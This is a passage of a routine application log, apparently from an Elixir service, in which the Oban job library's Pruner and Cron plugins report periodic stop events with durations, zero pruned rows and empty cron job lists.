{"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.114 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:28:22.432 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:52.435 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.116 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:29:22.438 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:52.441 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.118 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:30:22.444 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:52.447 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.119 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:31:22.450 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:52.452 [info] {"source":"oban","duration":2307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.120 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:32:22.455 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:52.458 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.121 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:33:22.461 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:52.464 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.122 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:34:22.467 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:52.470 [info] {"source":"oban","duration":2027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.123 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:35:22.472 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:52.474 [info] {"source":"oban","duration":2237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.125 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:36:22.477 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:52.480 [info] {"source":"oban","duration":2231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.126 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:37:22.483 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:52.486 [info] {"source":"oban","duration":2297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.128 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:38:22.489 [info] {"source":"oban","duration":1851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:52.492 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.129 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:39:22.495 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:52.498 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.130 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:40:22.501 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:52.504 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.132 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:41:22.507 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:52.510 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.133 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:42:22.512 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:52.515 [info] {"source":"oban","duration":2043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.135 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:43:22.518 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:52.520 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.137 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:44:22.523 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:52.526 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.138 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:45:22.529 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:52.532 [info] {"source":"oban","duration":2092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.139 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:46:22.535 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:52.538 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.141 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:47:22.541 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:52.544 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.142 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:48:22.546 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:52.548 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.144 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:49:22.551 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:52.554 [info] {"source":"oban","duration":2003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.146 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:50:22.556 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:52.558 [info] {"source":"oban","duration":2124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.147 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:51:22.561 [info] {"source":"oban","duration":1835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:52.564 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.148 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:52:22.567 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:52.569 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.150 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:53:22.572 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:52.575 [info] {"source":"oban","duration":2000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.151 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:54:22.578 [info] {"source":"oban","duration":1971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:52.581 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.152 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:55:22.584 [info] {"source":"oban","duration":2070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:52.587 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.153 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:56:22.589 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:52.592 [info] {"source":"oban","duration":2088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.155 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:57:22.595 [info] {"source":"oban","duration":2024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:52.598 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.157 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:58:22.601 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:52.604 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.158 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:59:22.607 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:52.610 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.158 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:00:22.613 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:52.615 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.159 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:01:22.618 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:52.621 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.161 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:02:22.624 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:52.627 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.161 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:03:22.630 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:52.633 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.163 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:04:22.636 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:52.639 [info] {"source":"oban","duration":1680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.164 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:05:22.642 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:52.645 [info] {"source":"oban","duration":2172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.166 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:06:22.648 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:52.651 [info] {"source":"oban","duration":2104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.168 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:07:22.653 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:52.656 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.170 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:08:22.659 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:52.662 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.172 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:09:22.665 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:52.667 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.174 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:10:22.669 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:52.671 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.176 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:11:22.674 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:52.677 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.178 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:12:22.680 [info] {"source":"oban","duration":1864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:52.683 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.180 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:13:22.686 [info] {"source":"oban","duration":1860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:52.687 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.182 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:14:22.689 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:52.692 [info] {"source":"oban","duration":2927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.184 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:15:22.694 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:52.695 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.186 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:16:22.696 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:52.696 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.188 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:17:22.698 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:52.699 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.188 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:18:22.700 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:52.700 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.190 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:19:22.702 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:52.703 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.191 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:20:22.704 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:52.705 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.191 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:21:22.706 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:52.708 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.193 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:22:22.710 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:52.711 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.194 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:23:22.714 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:52.715 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.195 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:24:22.718 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:52.721 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.195 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:25:22.723 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:52.724 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.197 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:26:22.726 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:52.728 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.198 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:27:22.729 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:52.730 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.200 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:28:22.731 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:52.732 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.200 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:29:22.734 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:52.736 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.202 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:30:22.737 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:52.739 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.203 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:31:22.741 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:52.743 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.205 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:32:22.744 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:52.745 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.206 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:33:22.747 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:52.749 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.208 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:34:22.750 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:52.752 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.209 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:35:22.755 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:52.757 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.210 [info] {"source":"oban","duration":124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:36:22.759 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:52.761 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.212 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:37:22.763 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:52.766 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.213 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:38:22.768 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:52.770 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.214 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:39:22.772 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:52.775 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.215 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:40:22.778 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:52.780 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.216 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:41:22.782 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:52.785 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.218 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:42:22.788 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:52.791 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.218 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:43:22.793 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:52.796 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.219 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:44:22.799 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:52.802 [info] {"source":"oban","duration":1800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.220 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:45:22.805 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:52.807 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.222 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:46:22.810 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:52.812 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.222 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 